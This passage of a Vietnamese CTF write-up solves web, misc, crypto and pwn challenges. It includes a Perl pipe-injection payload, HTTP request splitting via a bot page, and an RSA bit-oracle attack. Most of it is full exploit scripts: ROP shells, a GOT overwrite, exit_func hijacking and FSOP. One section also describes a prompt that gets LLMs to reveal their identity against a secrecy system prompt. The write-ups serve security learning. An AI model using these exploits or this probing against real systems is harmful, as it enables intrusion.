of /$path</h1><ul>"; foreach my $f (@files) { next if $f =~ /^\./; # Skip dotfiles my $link = "$path/$f"; $link =~ s|//|/|g; $html .= qq{<li><a href="/$link">} . escapeHTML($f) . "</a></li>"; } $html .= "</ul></body></html>"; my $resp = HTTP::Response->new(RC_OK); $resp->header("Content-Type" => "text/html"); $resp->content($html); $c->send_response($resp); } else { open(my $fh, $fullpath) or do { $c->send_error(RC_INTERNAL_SERVER_ERROR, "Could not open file."); next; }; binmode $fh; my $content = do { local $/; <$fh> }; close $fh; my $mime = 'text/html'; my $resp = HTTP::Response->new(RC_OK); $resp->header("Content-Type" => $mime); $resp->content($content); $c->send_response($resp); } } else { $c->send_error(RC_METHOD_NOT_ALLOWED); } } $c->close; undef($c); } ``` ::: Tuy nhiên, sau khi đọc tài liệu thì mình nhận ra hàm open của perl có cơ chế pipe, tức là nếu có dấu | ở trước hoặc sau filename thì nó sẽ thực thi filename như một command và nhận đầu vào/hoặc ra (tùy vào vị trí đặt |) thành fd của nó. Mình nghĩ sẽ đặt hàm open một pipe ở phía đuôi để hàm open đọc output của command mình truyền và ghi vào response. Để làm được điều đó, thứ nhất mình phải bypass qua phần `./files`, chắc chắn dòng này sẽ sinh lỗi khi thực thi. Để tránh lỗi ngắt chương trình, mình sẽ cho nó vào một pipe bằng một dấu `|` nữa, và để tránh bị regex nhòm ngó, mình lập tức thêm `\n` sau dấu đó, vì `.` ở regex thường (không có flag multiline) sẽ không bao gồm `\n`. Vậy mình dùng payload như sau ở filename: ` | \ncat challenge/* |` ### pwntools Đây là một server tự parse http mà không qua các thư viện sẵn của `python`, Nhiệm vụ của ta là đăng ký một `user` tên `admin` để lấy flag, tuy nhiên route đăng ký được rào bởi `if client_addr[0] != "127.0.0.1":`, vì vậy ta phải đăng ký từ bot. Bot sẽ mở một `url` bất kỳ rồi nghỉ vài giây sau đó lại out ra. Việc đăng ký được thực hiện bằng cách gán username và password vào header `X-username` và `X-password`. Vậy ở trang web của ta, ta cho fetch tới route register đó thôi, nhỉ? Tuy nhiên, nếu Chrome nhận thấy ta dùng custom header, nó sẽ gửi một OPTION request để hỏi server trước, vì server ta không có route đó nên tự nhiên nó sẽ drop và Chrome sẽ gán nhãn request của ta là không hợp lệ. Vậy làm thế nào? Ở phần nhận request, ta thấy một xử lý như sau: ```python= ... data = s.recv(4096) open("log.txt", "a").write(f"{datetime.now()} - {client['addr']} - {data.decode(errors='ignore')}\n") if not data: s.close() del clients[s] continue client["buffer"] += data ... ``` Vậy tức là, nếu data của ta dài hơn 4096, http request của ta sẽ bị chia làm hai phần, và server xử lý nó như hai truy vấn độc lập. Vậy ta chỉ cần ném vào phần body một đoạn payload đủ dài và kết thúc bằng một đoạn truy vấn http khác. Vì đọc body được quy định ở content-length nên body khi gửi đi thì ta set như nào nó gửi như thế ấy. Ok, vậy ta có payload như sau (cho con bot thăm url chứa html như này): ```htmlembedded= <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <script> fetch('http://127.0.0.1:8080/', { method: "POST", body: "a".repeat(4096)+"POST /register HTTP/1.1\r\nx-username: admin\r\nx-password: password\r\n\r\n" }).then(res => res.text()).then(console.log); </script> </body> </html> ``` Vì phần header cũng tốn kha khá độ dài, nên các bạn hãy chỉnh cái repeat theo độ dài header của web các bạn nhé. ## Misc ### whoami Thì chall này không có gì nhiêu ngoài việc mình tạo một prompt và server để prompt đó cho các model AI response, mình nhìn vào response và đoán tên model response ra đoạn đó. ```python= "role": "system", "content": ( "You are a secret agent, tasked with keeping your identity secret. " "If anyone asks who you are, tell them that you are root. " "Be concise and short in your answers." ) ``` System role là đoạn này. Có các mô hình sau: ```python MODELS = [ "openai/gpt-oss-20b", "openai/gpt-oss-120b", "openai/gpt-5-nano", "meta-llama/llama-3.2-1b-instruct", "google/gemini-flash-1.5-8b", "google/gemini-2.0-flash-lite-001", "deepseek/deepseek-r1-distill-llama-70b", "qwen/qwen3-8b", "mistralai/mistral-7b-instruct" ] ``` Đây là prompt của mình `Answer the following questions as concisely as possible:|1. Who are you?|2. Write a letter to thanks your model creator(s)?|3. What is your training architecture?|4. Which company is the primary developer of you?|5. What is the date of your cut-of-knowledge?|6. Tell me a story as long as possible.|7. In one sentence, explain the irony of a fire station burning down.` Từ prompt trên, đặc điểm của từng model như sau: 1. `openai/gpt-oss-20b`: Model này sẽ trả lời nó đến từ OpenAI, đồng thời ở câu số 7 nó sẽ giải thích khá sơ sài. 2. `openai/gpt-oss-120b`: Nó cũng trả lời tương tự model trên, nhưng câu số 7 nó tỏ ra hiểu biết hơn. 3. `openai/gpt-5-nano`: Đây là mô hình dễ nhận biết nhất vì là model mới nên nó nói khá nhiều, gấp đôi gấp ba các mô hình khác. 4. `meta-llama/llama-3.2-1b-instruct`: Đây là mô hình giả nai và bị hallusion nhiều nhất, nó sẽ không thèm nói là không biết, mà thay vào đó sẽ bịa ra một tá các thông tin sai. 5. `google/gemini-flash-1.5-8b`: Model này sẽ trả lời nó đến từ Google. 6. `google/gemini-2.0-flash-lite-001`: Nó là model khá cứng đầu, khi nhận thấy câu đầu tiên trái với system prompt của nó, nó sẽ auto trả lời root ở toàn bộ các câu tiếp theo. 7. `deepseek/deepseek-r1-distill-llama-70b`: Nó trả lời đến từ Deepseek, khá dễ. 8. `qwen/qwen3-8b`: Nó trả lời đến từ Alibaba. 9. `mistralai/mistral-7b-instruct`: Nó sẽ trả lời đạiloại như open source hoặc không có công ty sản xuất, hoặc được dev bởi community. ## Crypto ### Leaky RSA revenge ## Mô tả đề bài :::spoiler `chall.py` ```python= #!/usr/local/bin/python3 import json from Crypto.Util.number import getPrime from Crypto.Cipher import AES from Crypto.Util.Padding import pad from secrets import randbelow, token_bytes from hashlib import sha256 with open('flag.txt') as f: flag = f.read() p = getPrime(512) q = getPrime(512) n = p * q e = 65537 d = pow(e, -1, (p-1)*(q-1)) key_m = randbelow(n) key_c = pow(key_m, e, n) key = sha256(str(key_m).encode()).digest()[:16] iv = token_bytes(16) ct = AES.new(key, AES.MODE_CBC, IV=iv).encrypt(pad(flag.encode(), 16)) print(json.dumps({'n': n, 'c': key_c, 'iv': iv.hex(), 'ct': ct.hex()})) def get_bit(n, k): return (n >> k) % 2 for _ in range(1024): idx = randbelow(4) print(json.dumps({'idx': idx})) try: response = json.loads(input()) c = response['c'] % n assert c != key_c m = pow(c, d, n) b = get_bit(m, idx) except (json.JSONDecodeError, TypeError, KeyError, ValueError, AssertionError): b = 2 print(json.dumps({'b': b})) ``` ::: Ta được cung cấp các tham số như sau: - `n`: tích của hai số nguyên tố 512 bit `p` và `q` - `e`: Khóa công khai, có giá trị bằng `65537` - `key_c`: là khóa `key_m` sau khi được mã hóa RSA với `n` và `e` - `iv`: Là init vector khi mã hóa AES `flag` bằng khóa là `sha256` của `key_m` - `ct`: Là mã hóa AES của `flag`. Đề bài cho phép ta gửi lần lượt 1024 số và nhận một trong các bit thứ 0-3 của giải mã RSA của các số đó: ```python! for _ in range(1024): idx = randbelow(4) print(json.dumps({'idx': idx})) try: response = json.loads(input()) c = response['c'] % n assert c != key_c m = pow(c, d, n) b = get_bit(m, idx) except (json.JSONDecodeError, TypeError, KeyError, ValueError, AssertionError): b = 2 print(json.dumps({'b': b})) ``` => Nhiệm vụ của ta là bằng cách nào đó, khôi phục lại khóa `key_m` (từ đây gọi tắt là `m`). ## Suy luận về hướng giải #### Ta xét bài toán đơn giản hơn: biết được bit cuối cùng (LSB) của mã được giải. Đối với phép toán modulo, ta có thể coi $$a \equiv a_1 \pmod{n} \iff a = xn + a_1, \quad 0 < a_1 < n$$ Nếu xét $2m = a$: $$2m \equiv m_1 \pmod{n} \iff 2m=xn+m_1 \quad x \in \{0,1\}$$ Vì LSB của $2m$ luôn bằng $0$ (Phép nhân cơ số $2^n$ là phép dịch trái), tức $2m = (b_k b_{k-1} ... b_1 b_0 0)_2$, hơn nữa, $n$ là tích của hai số nguyên tố lớn ($\neq 2$) nên $n$ là số lẻ. Tức $m_1 = 2m - xn$ Từ bit cuối cùng của $m_1$, ta có thể suy ra $x$, vì: - nếu $x = 0$, thì $m_1=2m$ và bit cuối cùng bằng $0$. - nếu $x=1$, thì $m_1 = 2m - n$ và vì $2m$ chẵn, $n$ lẻ nên $m_1$ lẻ và bit cuối bằng $1$. Khi đã biết được $x$, ta tiếp tục làm tương tự với $m_1$,$m_2$,..., $m_i$ ..., để tìm $x_i$: $$ \begin{aligned} 2m &= m_1 + xn \\ 2m_1 &= m_2 + x_1n \\ &\vdots \\ 2m_{a-1}&= m_{a} + x_{a-1}n \end{aligned} $$ Khi đã tìm được mọi $x_i$, ta biến đổi như sau: $$ \begin{aligned} m &= \frac{m_1}{2} + \frac{xn}{2} \\ m_1 &= \frac{m_2}{2} + \frac{x_1n}{2} \\ &\vdots \\ m_{a-1} &= \frac{m_a}{2} + \frac{x_{a-1}n}{2} \end{aligned} $$ $$\implies m = \left( \sum_{i=0}^{a-1} \frac{x_i n}{2^{i+1}} \right) + \frac{m_a}{2^a}$$ Ta đã biết $x_i$, và nếu ta có đủ nhiều đến mức $m_a/2^a < 1 \iff m_a < 2^a$, tức $2^a > n$ thì khi đó ta có thể coi $m_a/2^a = 0$ và tính được $m$. #### Vậy nếu xét bài toán khi ta chỉ biết được bit thứ 2 của mã được giải thì sao? Nếu bằng cách nào đó, có thể làm tương tự như cách trên, thay vì lấy $2m$ ta lấy $4m$. Khi đó, phương trình mới là: $$4m = xn + m_1, \quad x \in \{0,1,2, 3\}$$. Vậy ta có 4 trường hợp: - Nếu x = 0: $m_1 = 4m$, bit thứ 2 của $m_1$ bằng 0. - Nếu x = 1: Phức tạp hơn, ta phải xét các trường hợp các bit cuối của $n$ . Để dễ minh họa, ta có bảng sau: | **x \ n** | **...00** | **...01** | **...10** | **...11** | |:---|:---:|:---:|:---:|:---:| | **0** | 00 | 00 | 00 | 00 | | **1** | 00 | 11 | 10 | 01 | | **2** | 00 | 10 | 00 | 10 | | **3** | 00 | 01 | 10 | 11 | #### Bài toán dần phức tạp hơn rồi, ok, vậy ta xét luôn trường hợp bit thứ 3 và thứ 4 nhé: Trường hợp bit thứ 3: | **x \ n** | **...000** | **...001** | **...010** | **...011** | **...100** | **...101** | **...110** | **...111** | |:---|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:| | **0** | 000 | 000 | 000 | 000 | 000 | 000 | 000 | 000 | | **1** | 000 | 111 | 110 | 101 | 100 | 011 | 010 | 001 | | **2** | 000 | 110 | 100 | 010 | 000 | 110 | 100 | 010 | | **3** | 000 | 101 | 010 | 111 | 100 | 001 | 110 | 011 | | **4** | 000 | 100 | 000 | 100 | 000 | 100 | 000 | 100 | | **5** | 000 | 011 | 110 | 001 | 100 | 101 | 010 | 111 | | **6** | 000 | 010 | 100 | 110 | 000 | 010 | 100 | 110 | | **7** | 000 | 001 | 010 | 011 | 100 | 101 | 110 | 111 | Trường hợp bit thứ 4: | **x \ n** | **...0000** | **...0001** | **...0010** | **...0011** | **...0100** | **...0101** | **...0110** | **...0111** | **...1000** | **...1001** | **...1010** | **...1011** | **...1100** | **...1101** | **...1110** | **...1111** | |:---|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:| | **0** | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | | **1** | 0000 | 1111 | 1110 | 1101 | 1100 | 1011 | 1010 | 1001 | 1000 | 0111 | 0110 | 0101 | 0100 | 0011 | 0010 | 0001 | | **2** | 0000 | 1110 | 1100 | 1010 | 1000 | 0110 | 0100 | 0010 | 0000 | 1110 | 1100 | 1010 | 1000 | 0110 | 0100 | 0010 | | **3** | 0000 | 1101 | 1010 | 0111 | 0100 | 0001 | 1110 | 1011 | 1000 | 0101 | 0010 | 1111 | 1100 | 1001 | 0110 | 0011 | | **4** | 0000 | 1100 | 1000 | 0100 | 0000 | 1100 | 1000 | 0100 | 0000 | 1100 | 1000 | 0100 | 0000 | 1100 | 1000 | 0100 | | **5** | 0000 | 1011 | 0110 | 0001 | 1100 | 0111 | 0010 | 1101 | 1000 | 0101 | 1110 | 1001 | 0100 | 1111 | 1010 | 0101 | | **6** | 0000 | 1010 | 0100 | 1110 | 1000 | 0010 | 1100 | 0110 | 0000 | 1010 | 0100 | 1110 | 1000 | 0010 | 1100 | 0110 | | **7** | 0000 | 1001 | 0010 | 1011 | 0100 | 1101 | 0110 | 1111 | 1000 | 0001 | 1010 | 0011 | 1100 | 0101 | 1110 | 0111 | | **8** | 0000 | 1000 | 0000 | 1000 | 0000 | 1000 | 0000 | 1000 | 0000 | 1000 | 0000 | 1000 | 0000 | 1000 | 0000 | 1000 | | **9** | 0000 | 0111 | 1110 | 0101 | 1100 | 0011 | 1010 | 0001 | 1000 | 1111 | 0110 | 1101 | 0100 | 1011 | 0010 | 1001 | | **10** | 0000 | 0110 | 1100 | 0100 | 1000 | 1110 | 0110 | 1100 | 0000 | 0110 | 1100 | 0100 | 1000 | 1110 | 0110 | 1100 | | **11** | 0000 | 0101 | 1010 | 1111 | 0100 | 1001 | 0010 | 1101 | 1000 | 1111 | 1110 | 1011 | 1100 | 0111 | 0010 | 1101 | | **12** | 0000 | 0100 | 1000 | 1100 | 0000 | 0100 | 1000 | 1100 | 0000 | 0100 | 1000 | 1100 | 0000 | 0100 | 1000 | 1100 | | **13** | 0000 | 0011 | 0110 | 1001 | 1100 | 1111 | 1010 | 0101 | 1000 | 1011 | 0100 | 1101 | 0100 | 0001 | 1110 | 1011 | | **14** | 0000 | 0010 | 0100 | 0110 | 1000 | 1010 | 1100 | 1110 | 0000 | 0010 | 0100 | 0110 | 1000 | 1010 | 1100 | 1110 | | **15** | 0000 | 0001 | 0010 | 0011 | 0100 | 0101 | 0110 | 0111 | 1000 | 1001 | 1010 | 1011 | 1100 | 1101 | 1110 | 1111 | Sau khi coi một hồi về phân phối các bit, mình nhận ra có thể biến đổi như sau: Nếu chỉ xét tới bit $b-1$ của $m$: $$ \begin{array}{r r l r} & 2^b m & \equiv xn + m_1 , \quad 0 \le x < 2^b& \pmod{2^b} \\ \Rightarrow & 0 & \equiv xn + m_1 &\pmod{2^b} \\ \Rightarrow & m_1 & \equiv -xn &\pmod{2^b} \end{array} $$ Ta nhận thấy ở các bảng trên rằng với $n = 2^b-1$, phân phối khá lý tưởng để ta xét bài toán so sánh $x$ nhỏ hơn hay lớn hơn hoặc bằng $2^{b-1}$. Nếu đưa $n = 2^b-1$ vào phương trình, ta có: $$ \begin{aligned} m_1 &\equiv -x(2^b - 1) &&\pmod{2^b} \\ &\equiv (-x \cdot 2^b) + x &&\pmod{2^b} \\ &\equiv x &&\pmod{2^b} \end{aligned} $$ Vậy khi $n=2^b-1$, ta có một phương trình khá đẹp, và khi xét MSB của $m_1$, tức MSB của $x$, ta có thể chỉ ra được rằng $2^bm \equiv xn+m_1$ thì $x$ bé hơn hay lớn hơn hoặc bằng $2^{b-1}$: $$ \text{MSB}(m_1) = \begin{cases} 0 & \text{khi } x < 2^{b-1} \\ 1 & \text{khi } x \ge 2^{b-1} \end{cases} $$ Xét $$2^bm=xn+m_1$$ Thì ta có: $$2m = \frac{x}{2^{b-1}}n+\frac{m_1}{2^{b-1}}$$ Đặt $y = \frac{x}{2^{b-1}} = MSB(m_1)$. <!-- $$\Rightarrow MSB(y) \pmod{2^b} = x \pmod{2}$$ --> Vậy tức trong trường hợp $n \equiv -1 \pmod{2^b}$, $$MSB(y) \pmod{2^b}= LSB(2m-xn)$$ Từ đó nếu biết chuỗi $B = {b, b_1, b_2, ...}$, ta có: $$ \begin{aligned} 2^bm &= yn + \frac{p_1}{2^{b-1}}, 2m = xn + m_1 \\ 2^{b_1}m_1 &= y_1n + \frac{p_2}{2^{b_1-1}}, 2m_1 = x_1n + m_2 \\ &\vdots \\ 2^{b_{a-1}}isdm_{a-1}&=y_{a-1}n+\frac{p_a}{2^{b_{a-1}-1}} \end{aligned} $$ Nêu biết được $y$, ta biết được $x$, làm tương tự như trường hợp bit đầu tiên, ta vẫn có: $$\implies m = \left( \sum_{i=0}^{a-1} \frac{x_i n}{2^{i+1}} \right) + \frac{m_a}{2^a}$$ ## Code solve: ```python= from Crypto.Util.number import getPrime from secrets import randbelow from fractions import Fraction from pwn import * import json # context.log_level = 'debug' # Class for rebuild the chall for solving, delete at will class MagicRSA: def __init__(self, bits=512): self.p = getPrime(bits) self.q = getPrime(bits) self.n = self.p * self.q self.e = 65537 self.d = pow(self.e, -1, (self.p - 1) * (self.q - 1)) self.m = randbelow(self.n) self.c = self.encrypt(self.m) def encrypt(self, m): return pow(m, self.e, self.n) def getParams(self): return (self.n, self.e, self.c) def decrypt(self, c): return pow(c, self.d, self.n) def parity_oracle(self, c, x): return self.decrypt(c) >> x & 1 def establish_connection(): if args.LOCAL: target = process(['python3', 'chall.py']) else: target = remote('leaky-rsa-revenge.chal.imaginaryctf.org', 1337) target.recvline() data = target.recvline() params = json.loads(data) c = int(params['c']) n = int(params['n']) iv = params['iv'] ct = params['ct'] e = 65537 return target, n, e, c, iv, ct target, n, e, c, iv, ct = establish_connection() # n = -1 mod (2^b) b 1..4 while n & 0xf != 0xf: target, n, e, c, iv, ct = establish_connection() open("ct.hex", "w").write(json.dumps({'iv': iv, 'ct': ct})) print("n:", n) print("c:", c) low, high = Fraction(0), Fraction(n) for _ in range(n.bit_length()): x = json.loads(target.recvline())['idx'] print("----------------------") print(f"Round {_}, idx: {x}") c_i = c * pow(2**(_+1+x), e, n)% n target.sendline(json.dumps({'c': c_i})) parity = json.loads(target.recvline())['b'] print("parity:", parity) mid = (low + high) / 2 if parity == 0: high = mid else: low = mid if high - low <= Fraction(1, n): break print(f"low: {int(low)}") print(f"high: {int(high)}") print(f"high - low: {int(high - low)}") print(int(high)) ``` # Imaginary 2025 ## babybof ### Exploitation: bài này xuất hiện bof ở hàm gets() và leak hết địa chỉ nên chỉ cần ROP system("/bin/sh") để lấy được shell: ```c char v4[56]; // [rsp+0h] [rbp-40h] BYREF v5 = __readfsqword(0x28u); puts("Welcome to babybof!"); puts("Here is some helpful info:"); printf("system @ %p\n", &system); printf("pop rdi; ret @ %p\n", &pop_rdi); printf("ret @ %p\n", &ret); printf("\"/bin/sh\" @ %p\n", sh); printf("canary: %p\n", v5); printf("enter your input (make sure your stack is aligned!): "); gets(v4); ``` ### Script: ```python= from pwn import * from subprocess import check_output import sys import os _path = "./vuln" context.binary = exe = ELF(_path, checksec=False) #libc = ELF("./libc.so.6", checksec=False) #ld = ELF("./ld-linux-x86-64.so.2", checksec=False) addr = 'localhost' port = 8080 cmd = f''' set solib-search-path {os.getcwd()} decompiler connect ida --host localhost --port 3662 break *0x401357 break *0x401339 continue ''' context.terminal = ['wt.exe', 'wsl', '-e', 'bash', '-c'] def get_pid(name): return int(check_output(["pgrep", "-f", "-n", name])) def conn(): if args.LOCAL: if args.GDB: p = gdb.debug(_path, cmd) else: p = exe.process() if args.DOCKER: p = remote(addr, port) sleep(2) if args.GDB: pid = get_pid("") gdb.attach(pid, exe=exe.path, gdbscript=cmd+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe") pause() elif args.REMOTE: host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p def p(_data, _arch = 64, endian = 'little'): switcher = { 64: p64(_data & 0xffffffffffffffff, endian), 32: p32(_data & 0xffffffff, endian), 16: p16(_data & 0xffff, endian), 8: p8(_data & 0xff, endian) } return switcher[_arch] chall = conn() def sl(_data): chall.sendline(_data) def sla(rgx, _data): chall.sendlineafter(rgx, _data) def se(_data): chall.send(_data) def sa(rgx, _data): chall.sendafter(rgx, _data) def check(): chall.interactive() exit() def main(): chall.recvuntil(b"system @ ") system = int(chall.recvline().strip(), 16) chall.recvuntil(b"pop rdi; ret @ ") pop_rdi = int(chall.recvline().strip(), 16) chall.recvuntil(b"ret @ ") ret = int(chall.recvline().strip(), 16) chall.recvuntil(b"@ ") binsh = int(chall.recvline().strip(), 16) chall.recvuntil(b"canary: ") canary = int(chall.recvline().strip(), 16) payload = flat( b"A"*0x38, p64(canary), b"B"*8, p64(ret), p64(pop_rdi), p64(binsh), p64(system), ) sla(b": ", payload) check() if __name__ == "__main__": main() ``` ## addition ### Exploitation: Challenge này cho mình nhập 1 offset và 1 value để cộng value vào offset đó: ```c do { write(1, "add where? ", 0xBuLL); fgets(s, 16, stdin); v3 = atoll(s); write(1, "add what? ", 0xAuLL); fgets(s, 16, stdin); *(&buf + v3) += atoll(s); } while ( v3 != 1337 ); ``` Vì buf ở đây là biến global nên em nhắm vào bảng got của chương trình chuyển atoll() -> system(). Khi nhập "/bin/sh" từ fgets() sẽ thực thi system("/bin/sh"). ### Script: ```python from pwn import * from subprocess import check_output import sys import os _path = "./vuln_patched" context.binary = exe = ELF(_path, checksec=False) #libc = ELF("./libc.so.6", checksec=False) #ld = ELF("./ld-linux-x86-64.so.2", checksec=False) addr = 'localhost' port = 8080 cmd = f''' set solib-search-path {os.getcwd()} decompiler connect ida --host localhost --port 3662 continue brva 0x12FA ''' context.terminal = ['wt.exe', 'wsl', '-e', 'bash', '-c'] def get_pid(name): return int(check_output(["pgrep", "-f", "-n", name])) def conn(): if args.LOCAL: if args.GDB: p = gdb.debug(_path, cmd) else: p = exe.process() if args.DOCKER: p = remote(addr, port) sleep(2) if args.GDB: pid = get_pid("") gdb.attach(pid, exe=exe.path, gdbscript=cmd+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe") pause() elif args.REMOTE: host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p chall = conn() def sl(_data): chall.sendline(_data) def sla(rgx, _data): chall.sendlineafter(rgx, _data) def se(_data): chall.send(_data) def sa(rgx, _data): chall.sendafter(rgx, _data) def check(): chall.interactive() exit() def main(): sla(b"where? ", b"-73") sla(b"what? ", b"55024") sla(b"where? ", b"/bin/sh") check() if __name__ == "__main__": main() ``` ## Cascade ### Exploitation: Ở đây xuất hiện bug bof: ```c ssize_t vuln() { char buf[64]; // [rsp+0h] [rbp-40h] BYREF return read(0, buf, 0x200uLL); } ``` ![image](https://hackmd.io/_uploads/ByKIDTsqll.png) Sau khi check các gadget em thấy có 2 gadget sau hữu dụng để cộng trừ offset tại một địa chỉ bất kì: ```assembly 0x000000000040113c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret 0x000000000040113d : pop rbp ; ret ``` Nhưng có 1 struggle là em không thể control được rbx. Ở đây em để ý thấy khi dump setvbuf() ra thì có pop rbx ![image](https://hackmd.io/_uploads/B12w_To5ee.png) Nên em partial overwrite (brute 1/16) tới địa chỉ này để khi call setvbuf thay vì thực hiện setvbuf() sẽ thực thi gadget này. Sau khi control được mọi thứ em cộng trừ offset của stdout -> address của /bin/sh và setvbuf thành system rồi ret về setvbuf(stdin). ### Script: note: ở đây hơi lười viết script brute nên em ngồi dùng tay để brute luôn ```python from pwn import * from subprocess import check_output import sys import os _path = "./vuln_patched" context.binary = exe = ELF(_path, checksec=False) libc = ELF("./libc.so.6", checksec=False) #ld = ELF("./ld-linux-x86-64.so.2", checksec=False) addr = 'localhost' port = 1337 cmd = f''' set solib-search-path {os.getcwd()} decompiler connect ida --host localhost --port 3662 break *0x401162 continue ''' context.terminal = ['wt.exe', 'wsl', '-e','sudo', 'bash', '-c'] def get_pid(name): return int(check_output(["pgrep", "-f", "-n", name])) def conn(): if args.LOCAL: if args.GDB: p = gdb.debug(_path, cmd) else: p = exe.process() if args.DOCKER: p = remote(addr, port) sleep(2) if args.GDB: pid = get_pid("") gdb.attach(pid, exe=exe.path, gdbscript=cmd+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe") pause() elif args.REMOTE: host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p chall = conn() def sl(_data): chall.sendline(_data) def sla(rgx, _data): chall.sendlineafter(rgx, _data) def se(_data): chall.send(_data) def sa(rgx, _data): chall.sendafter(rgx, _data) def check(): chall.interactive() exit() def main(): context.log_level = 'debug' pivot = p64(0x401162) pop_rbp = p64(0x000000000040113d) pop_rbx_r12_r13_r14_r15_rbp = p64(0x4011BA) add = p64(0x000000000040113c) system = p64(0x401183) payload = flat( b"A"*0x40, p64(0x404090), pivot, ) se(payload) payload = flat( pop_rbp, p64(0x404800), pivot, b"B"*0x28, p64(0x404048), pivot, ) sleep(0.1) se(payload) brute = b"\xb4\x86" sleep(0.1) se(brute) payload = flat( b"C"*0x40, p64(0x4040c0), pop_rbx_r12_r13_r14_r15_rbp, p64(0xfffc6e6f), p64(0)*4, p64(0x404020+0x3d), add, pop_rbx_r12_r13_r14_r15_rbp, p64(0xfffd009c), p64(0)*4, p64(0x404008+0x3d), add, system, ) sleep(0.1) se(payload) sl(b"cat flag.txt") check() if __name__ == "__main__": main() ``` ## twowrite ### Exploitation: Challenge leak cho mình libc và cho mình viết vào 2 địa chỉ bất với 2 giá trị cố định: ```c printf("system @ %p\n", &system); printf("what? "); scanf("%ld%*c", &what1); printf("what? "); scanf("%ld%*c", &what2); printf("where? "); scanf("%p%*c", &where1); printf("where? "); scanf("%p%*c", &where2); where1[0] = what1; where1[1] = what2; where2[0] = what1; where2[1] = what2; return 0; ``` Ở đây idea của em là attack exit_func khi ret về chương trình sẽ thực thi exit(). Sau khi overwrite được key ở fs_base:0x30 thì không thể overwrite arg của system nên em cho nó chạy lại hàm main để overwrite lại lần nữa nhưng vì khi thực thi exit_func nó sẽ set lại các giá trị của exit_func Ở đây sau khi mò thì thấy khi thực thi lại hàm __libc_start_main thì exit_func lại set lại các giá trị mình mong muốn mà không thay đổi key. -> attack exit_func spawn shell rồi get flag thôi. ### Script: ``` python from pwn import * from subprocess import check_output import sys import struct import os _path = "./vuln_patched" context.binary = exe = ELF(_path, checksec=False) libc = ELF("./libc.so.6", checksec=False) #ld = ELF("./ld-linux-x86-64.so.2", checksec=False) addr = 'localhost' port = 1337 cmd = f''' set solib-search-path {os.getcwd()} decompiler connect ida --host localhost --port 3662 break *0x4012B3 continue ''' context.terminal = ['wt.exe', 'wsl', '-e', 'sudo','bash', '-c'] def get_pid(name): return int(check_output(["pgrep", "-f", "-n", name])) def conn(): if args.LOCAL: if args.GDB: p = gdb.debug(_path, cmd) else: p = exe.process() if args.DOCKER: p = remote(addr, port) sleep(2) if args.GDB: pid = get_pid("") gdb.attach(pid, exe=exe.path, gdbscript=cmd+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe") pause() elif args.REMOTE: host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) def encrypt(v, key): return rol(v ^ key, 0x11, 64) def p(_data, _arch = 64, endian = 'little'): switcher = { 64: p64(_data & 0xffffffffffffffff, endian), 32: p32(_data & 0xffffffff, endian), 16: p16(_data & 0xffff, endian), 8: p8(_data & 0xff, endian) } return switcher[_arch] chall = conn() def sl(_data): chall.sendline(_data) def sla(rgx, _data): chall.sendlineafter(rgx, _data) def se(_data): chall.send(_data) def sa(rgx, _data): chall.sendafter(rgx, _data) def check(): chall.interactive() exit() def to_signed(val): return struct.unpack('<q', struct.pack('<Q', val))[0] def main(): context.log_level = 'debug' chall.recvuntil(b"system @ ") system = int(chall.recvline().strip(), 16) libc.address = system - libc.sym['system'] tls = libc.address - 0x3000 log.info(f"tls: {hex(tls)}") log.info(f"libc.address: {hex(libc.address)}") sla(b"what? ", str(4).encode()) sla(b"what? ", str(encrypt(0x4010B0, 4)).encode()) sla(b"where? ", hex(tls + 0x770)) sla(b"where? ", hex(libc.address + 0x212010)) sla(b"what? ", str(to_signed(encrypt(libc.sym.system, 4))).encode()) sla(b"what? ", str(next(libc.search(b"/bin/sh"))).encode()) sla(b"where? ", hex(libc.address + 0x212018)) sla(b"where? ", hex(0x404500)) check() if __name__ == "__main__": main() ``` ## multiplication ### Exploitation: Bài này xuất hiện bug oob: ```c printf("Index (0-%zu): ", size - 1); __isoc99_scanf("%zu%*c", &v1); chunk[v1] *= 2; ``` Và cho mình malloc với 1 size bất kì: ```c __isoc99_scanf("%zu%*c", &size); chunk = malloc(size); ``` Ở đây sau khi malloc 1 chunk lớn malloc sẽ cấp cho mình 1 chunk ở bên cạch libc ta có thể sử dụng oob để thay đổi giá trị trong libc. Nhưng vì ở đây oob chỉ cho phép mình nhân 1 giá trị ở địa chỉ bất kì nên khá khó để exploit. AAR, làm cho giá trị của _IO_write_end lớn hơn để khi puts() sẽ puts địa chỉ trong buffer -> leak được libc. AAW, sau khi google thì em thấy có 1 trick để viết vào chương trình đó là chỉnh cho _IO_buf_end của stdin lớn hơn ta có thể viết vào địa chỉ giữa _IO_buf_base và _IO_buf_end khi sử dụng hàm scanf() check thì sau khi chỉnh buf_end ta có thể read vào hết stdout -> FSOP để get shell ### Script: ```python from pwn import * from subprocess import check_output import sys import os _path = "./vuln_patched" context.binary = exe = ELF(_path, checksec=False) libc = ELF("./libc.so.6", checksec=False) #ld = ELF("./ld-linux-x86-64.so.2", checksec=False) addr = 'localhost' port = 1337 cmd = f''' set solib-search-path {os.getcwd()} decompiler connect ida --host localhost --port 3662 continue brva 0x146E brva 0x135E brva 0x153A ''' context.terminal = ['wt.exe', 'wsl', '-e', 'sudo','bash', '-c'] def 